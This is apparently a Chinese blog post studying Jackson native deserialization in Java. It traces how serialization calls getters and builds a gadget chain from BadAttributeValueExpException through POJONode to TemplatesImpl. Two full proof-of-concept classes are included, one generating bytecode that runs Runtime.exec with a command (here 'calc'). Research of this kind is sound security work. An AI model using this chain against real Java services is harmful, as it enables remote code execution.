Java反序列化之Jackson原生反序列化

前言

之前学习了fastjson库的反序列化和原生反序列化触发任意类的getter方法,而jackson作为与之相似的另一个JSON库,自然也被发掘出存在相应的问题

关于jackson

Java 里,Jackson 是一个非常常用的 JSON 处理库,由 FasterXML 开发。主要作用是将java对象转化为JSON对象(序列化)以及将JSON对象转化为java对象(反序列化)

常用模块

  • jackson-core:提供核心的流式 JSON 读写 API。
  • jackson-databind:最常用,提供 ObjectMapper,支持对象与 JSON 的互转。
  • jackson-annotations:提供注解支持,比如 @JsonProperty@JsonIgnore
  • *jackson-datatype- **:支持 Java 8 的时间类型、JodaTime、Guava 等扩展。

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>

然后我们来看看Jackson的基本用法

举个栗子

先写个User类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package SerializeChains.JacksonSer;

public class User {
private String username;
private String password;
public User(){
System.out.println("调用了无参构造方法");
}

public User(String username, String password){
System.out.println("调用了有参构造方法");
this.username = username;
this.password = password;
}

public String getUsername() {
System.out.println("调用了 getUsername 方法");
return username;
}
public void setUsername(String username) {
System.out.println("调用了 setUsername 方法");
this.username = username;
}

public String getPassword(){
System.out.println("调用了 getPassword 方法");
return password;
}

public void setPassword(String password) {
System.out.println("调用了 setPassword 方法");
this.password = password;
}
}

然后写个Test测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
package SerializeChains.JacksonSer;

import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {
public static void main(String[] args) throws Exception {
User user = new User("wanth3f1ag","123456");
ObjectMapper mapper = new ObjectMapper();
String json = mapper.writeValueAsString(user);
System.out.println(json);
User user2 = mapper.readValue(json, User.class);
}
}

image-20250922210439144

可以看到在序列化的时候触发了getter方法和有参构造方法,在反序列化的时候触发了setter方法和无参构造方法

老规矩,看看序列化是如何触发getter的

Jackson的序列化如何触发getter

在writeValueAsString行代码处打上断点进行调试

image-20250922211047594

函数调用栈大致是这样的

image-20250922213346087

然后我们看几个关键的函数

com.fasterxml.jackson.databind.ser.BeanSerializer#serialize方法

image-20250922214411308

_objectIdWriter是用于标记对象的处理ID,如果同一个对象在 JSON 中出现多次,可以用 "id" 引用,而不是重复展开整个对象。

跟进writeStartObject函数看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void writeStartObject(Object forValue) throws IOException {
this._verifyValueWrite("start an object");
JsonWriteContext ctxt = this._writeContext.createChildObjectContext(forValue);
this._writeContext = ctxt;
if (this._cfgPrettyPrinter != null) {
this._cfgPrettyPrinter.writeStartObject(this);
} else {
if (this._outputTail >= this._outputEnd) {
this._flushBuffer();
}

this._outputBuffer[this._outputTail++] = '{';
}

}

writeStartObject函数主要是写入{字符并维护上下文的

返回serialize

1
2
3
4
5
if (this._propertyFilterId != null) {
this.serializeFieldsFiltered(bean, gen, provider);
} else {
this.serializeFields(bean, gen, provider);
}

根据是否有过滤器调用serializeFieldsFiltered或serializeFields,serializeFieldsFiltered内部会检查每个字段是否允许写入 JSON,如果不允许就跳过。没有过滤器的化默认序列化所有字段

最后是调用writeEndObject方法写入}字符

在com.fasterxml.jackson.databind.ser.std.BeanSerializerBase#serializeFields中

image-20250922220422468

跟进serializeAsField方法

image-20250922220614990

1
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null);

_accessorMethod 通常是 java.lang.reflect.Method 类型,用于表示某个 getter 方法。如果 _accessorMethodnull,就说明没有可用的 getter 方法,需要直接访问字段 _field。如果 _accessorMethod 不为 null,说明可以通过 getter 方法来访问属性,也就是his._accessorMethod.invoke(bean, (Object[])null);去触发

也就是这里会调用getter方法,如果继续跟进就会跳转到getter方法中

image-20250922220852371

链子分析

TemplatesImpl链

既然是能触发getter方法,最经典的getter就是TemplatesImpl.getOutputProperties方法。

看看哪里有调用到writeValueAsString

看到com.fasterxml.jackson.databind.node.BaseJsonNode#toString方法

image-20250922221729870

跟进com.fasterxml.jackson.databind.node.InternalNodeMapper#nodeToString方法

image-20250922221755446

这不就是刚刚序列化用的writeValueAsString方法吗?

但是因为BaseJsonNode是抽象类,所以我们需要找一个子类并且这个子类并没有重写toString方法

image-20250922222014613

最后找到POJONode类

该类的继承关系是:

1
POJONode -> ValueNode -> BaseJsonNode

然后我们来找找哪里能调用到toString方法,这就又可以用原生链BadAttributeValueExpException触发toString了

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package SerializeChains.JacksonSer;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Poc1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = (TemplatesImpl) initEvilTemplates();

//创建一个POJONode对象并传入恶意templates
POJONode pojoNode = new POJONode(templates);

//触发toString()方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",pojoNode);


//序列化和反序列化
serialize(badAttributeValueExpException);
unserialize("jacksonSerialize01.txt");
}
public static TemplatesImpl initEvilTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//defineTransletClasses()方法中的问题:修改_bytecodes的值为恶意类字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class"));
byte[] Foocode = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\Foo.class"));
byte[][] codes = {code, Foocode};

setFieldValue(templates, "_bytecodes", codes);
//getTransletInstance()方法中的问题:反射改变类的属性_name
setFieldValue(templates,"_name","a");
//反射改变类的属性_tfactoury
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("jacksonSerialize01.txt"));
oos.writeObject(object);
oos.close();
}

//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}
}

优化一下,用infer师傅的函数写一个命令执行的class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package SerializeChains.JacksonSer;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Poc1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = (TemplatesImpl) initEvilTemplates();

//创建一个POJONode对象并传入恶意templates
POJONode pojoNode = new POJONode(templates);

//触发toString()方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",pojoNode);


//序列化和反序列化
serialize(badAttributeValueExpException);
unserialize("jacksonSerialize01.txt");
}
public static TemplatesImpl initEvilTemplates() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
//defineTransletClasses()方法中的问题:修改_bytecodes的值为恶意类字节码
byte[] bytes = getshortclass("calc");
byte[][] codes = {bytes};

setFieldValue(templates, "_bytecodes", codes);
//getTransletInstance()方法中的问题:反射改变类的属性_name
setFieldValue(templates,"_name","a");
//反射改变类的属性_tfactoury
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

return templates;
}
public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
Class c = object.getClass();
Field field = c.getDeclaredField(field_name);
field.setAccessible(true);
field.set(object, field_value);
}
//定义序列化操作
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("jacksonSerialize01.txt"));
oos.writeObject(object);
oos.close();
}

//定义反序列化操作
public static void unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
ois.readObject();
}

//infer师傅的class,用于生成恶意命令执行class字节码
public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
byte[] bytes = clazz.toBytecode();
return bytes;
}
}

image-20250922223201929

但是调试之后发现这计算器并非是反序列化的时候弹的而是在序列化的时候

在报错中发现

1
Failed to JDK serialize `POJONode` value: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])

image-20250922223318757

这是jackson在序列化java对象的时候尝试序列化 TemplatesImploutputProperties 字段时出现 NullPointerException